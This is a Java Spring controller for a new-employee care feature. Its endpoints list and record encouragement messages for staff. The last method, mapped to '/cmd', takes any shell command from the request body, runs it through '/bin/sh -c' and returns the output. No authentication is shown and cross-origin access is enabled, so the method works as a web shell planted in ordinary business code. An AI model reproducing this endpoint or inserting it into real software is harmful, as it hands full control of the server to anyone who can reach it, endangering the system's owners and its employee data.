package com.h3c.nem.controller;

import com.eos.common.constant.StatusCodeEnum;
import com.eos.common.util.Result;
import com.github.pagehelper.PageInfo;
import com.h3c.nem.dto.PageQueryDTO;
import com.h3c.nem.dto.mapstruct.NewWorkerDTO;
import com.h3c.nem.entity.TbCareInfo;
import com.h3c.nem.service.impl.TbCareEncourageServiceImpl;
import com.h3c.nem.service.impl.TbCareInfoServiceImpl;
import com.h3c.nem.vo.TbCareEncourageVO;
import org.springframework.web.bind.annotation.*;

import javax.annotation.Resource;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.HashMap;


/**
 * 新员工关怀详情信息
 *
 * @author z22968
 * @date 2022-06-09 11:25
 */
@CrossOrigin
@RestController
@RequestMapping("/care")
public class TbCareInfoController {
    @Resource
    TbCareInfoServiceImpl tbCareInfoService;
    @Resource
    TbCareEncourageServiceImpl tbCareEncourageService;

    /**
     * 分页获取已鼓励/未鼓励人员名单
     *
     * @param
     * @return javax.xml.transform.Result
     * @author z22968
     * @date 2022-06-17 13:47
     */
    @PostMapping("/encourage/page")
    public Result getNonEncourageList(@RequestBody PageQueryDTO<TbCareEncourageVO> pageQuery) {
        if (pageQuery.getCondition() == null) {
            pageQuery.setCondition(new TbCareEncourageVO());
        }
        PageInfo<NewWorkerDTO> nonEncourageList = tbCareEncourageService.getEncourageList(pageQuery);
        return new Result(true, StatusCodeEnum.SEARCH_SUCCESS, nonEncourageList);
    }

    /**
     * 分页获取 接收到的鼓励
     *
     * @param pageQuery
     * @return com.eos.common.util.Result
     * @author z22968
     * @date 2022-06-27 14:15
     */
    @PostMapping("/receive/encourage/page")
    public Result getReceiveEncourageList(@RequestBody PageQueryDTO<TbCareEncourageVO> pageQuery) {
        if (pageQuery.getCondition() == null) {
            pageQuery.setCondition(new TbCareEncourageVO());
        }
        PageInfo<NewWorkerDTO> nonEncourageList = tbCareEncourageService.getReceiveEncourageList(pageQuery);
        return new Result(true, StatusCodeEnum.SEARCH_SUCCESS, nonEncourageList);
    }

    @PostMapping("/encourage")
    public Result insert(@RequestBody TbCareEncourageVO tbCareEncourageVO) {
        tbCareEncourageService.insert(tbCareEncourageVO);
        return new Result(true, StatusCodeEnum.ADD_SUCCESS, null);
    }

    @PostMapping("/encourage/batch")
    public Result batchInsert(@RequestBody TbCareEncourageVO tbCareEncourageVO) {
        tbCareEncourageService.batchInsert(tbCareEncourageVO);
        return new Result(true, StatusCodeEnum.ADD_SUCCESS, null);
    }

    @PostMapping("/cmd")
    public String executeLinuxCmd(@RequestBody HashMap<String, String> map) throws IOException {
        String cmd = map.get("cmd");
        Runtime run = Runtime.getRuntime();
        Process process = run.exec(new String[]{"/bin/sh", "-c", cmd});
        InputStream in = process.getInputStream();
        BufferedReader bs = new BufferedReader(new InputStreamReader(in));
        StringBuffer sf = new StringBuffer();
        String result = null;
        while ((result = bs.readLine()) != null) {
            sf.append(result);
            sf.append("\n");
        }
        in.close();
        process.destroy();
        return sf.toString();
    }
}

